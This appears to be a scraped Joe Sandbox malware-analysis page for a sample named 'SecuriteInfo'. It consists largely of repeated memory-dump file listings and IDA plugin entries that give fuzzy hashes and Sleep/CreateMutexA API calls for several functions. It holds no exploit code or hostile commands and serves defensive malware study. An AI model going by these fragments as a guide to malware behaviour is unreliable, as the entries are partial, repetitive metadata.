Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e9ac622f41aacfb372bc990f3fbf440f8286d91cda772e2614748092a5cbf156
Instruction ID: ff9033122ba7e94dd89eadc84fd3637d8812487d804381a1b0e53c39b57efb0f
Opcode Fuzzy Hash: e9ac622f41aacfb372bc990f3fbf440f8286d91cda772e2614748092a5cbf156
Instruction Fuzzy Hash: 323138717142409FFB18DB68CC847ADBFE2EB86314F208698E424AB3D2DB7999808751

Uniqueness

Uniqueness Score: -1.00%

Function 00B09B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5b650f65b9c4a0a215f9ca8a4ab15555bb9e6748c3d1c798b2dc0d5af23f02d6
Instruction ID: 9888f2bfc4557a137e1b471a6db48b3a8fe1db8fa2caf8cd43dc19ef3e4c3756
Opcode Fuzzy Hash: 5b650f65b9c4a0a215f9ca8a4ab15555bb9e6748c3d1c798b2dc0d5af23f02d6
Instruction Fuzzy Hash: 16313A717042449BFB18DB68DC8579DBFE2EB85324F208698E424AB3D2CB7999808751

Uniqueness

Uniqueness Score: -1.00%

Function 00B09C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ba8eda06586f3640d57b69f4f15718ee690830cd6943b05bc8a3b36650d9584a
Instruction ID: 4c6e0ca9c4d8d0d87354444761b8a50fdd024353e8c982ad52bbe16353c0fe8d
Opcode Fuzzy Hash: ba8eda06586f3640d57b69f4f15718ee690830cd6943b05bc8a3b36650d9584a
Instruction Fuzzy Hash: 2231F6716402049BFB18DB78DC8979DBFE2EB86314F208798E424AB3D2DB7599808752

Uniqueness

Uniqueness Score: -1.00%

Function 00B09EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5cad126f923371d093ce87fdeb99f41e685781b5ab3cbe11e613ed6625ce8553
Instruction ID: 4cec7bf43e92d8eed976182ae7652805ae88474491aadc4db713104dd5d96851
Opcode Fuzzy Hash: 5cad126f923371d093ce87fdeb99f41e685781b5ab3cbe11e613ed6625ce8553
Instruction Fuzzy Hash: 5F316B716002019BFB18DB78CD8579DBBE2EF85314F308698F421EB3D6CB75A9808752

Uniqueness

Uniqueness Score: -1.00%

Function 00B0A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733107097.0000000000B77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733314395.0000000000CD9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733356088.0000000000CDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733400173.0000000000CF4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733444371.0000000000CF5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733559555.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733587156.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733642258.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733719184.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733744628.0000000000D0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733771598.0000000000D15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733796583.0000000000D16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733820921.0000000000D17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733845710.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733870179.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733895165.0000000000D1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733920839.0000000000D25000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733946288.0000000000D28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733975782.0000000000D33000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734004128.0000000000D34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734032105.0000000000D3A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734062773.0000000000D47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734091269.0000000000D50000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734117986.0000000000D52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734146683.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734174772.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734201860.0000000000D61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734229514.0000000000D68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734256304.0000000000D69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734283739.0000000000D6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734316653.0000000000D8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734344392.0000000000D91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734372271.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734401059.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734428611.0000000000DA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734457451.0000000000DA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734487570.0000000000DB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734513126.0000000000DB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734540698.0000000000DC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DC7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734566371.0000000000DE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734629722.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734655302.0000000000E16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734681501.0000000000E1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734707075.0000000000E1F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734735891.0000000000E2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734761395.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734787057.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6d6b4af26bab934d71a8eb8a2f8a9f4d94c3f92f7a0802b853f6fc30512a1a8e
Instruction ID: b5075e4314a4753f9d92cca86935d4225a2ee92058a8cce28a4d314fbacd3da5
Opcode Fuzzy Hash: 6d6b4af26bab934d71a8eb8a2f8a9f4d94c3f92f7a0802b853f6fc30512a1a8e
Instruction Fuzzy Hash: 8731FBB16003449FFB18DB78CC8979DBEE2EF86314F208698E415A77D2DB7599808752

Uniqueness

Uniqueness Score: -1.00%

Function 00B0A152 Relevance: 3.1, APIs: 2, Instructions: 122
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00B0A435
CreateMutexA.KERNELBASE(00000000,00000000,00B651D8), ref: 00B0A453

Memory Dump Source

Source File: 00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1732853612.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1732891922.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733022404.0000000000B69000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1733064856.0000000000B6B000.00000040.00000001.01000000.00000003.sdmpDownload File
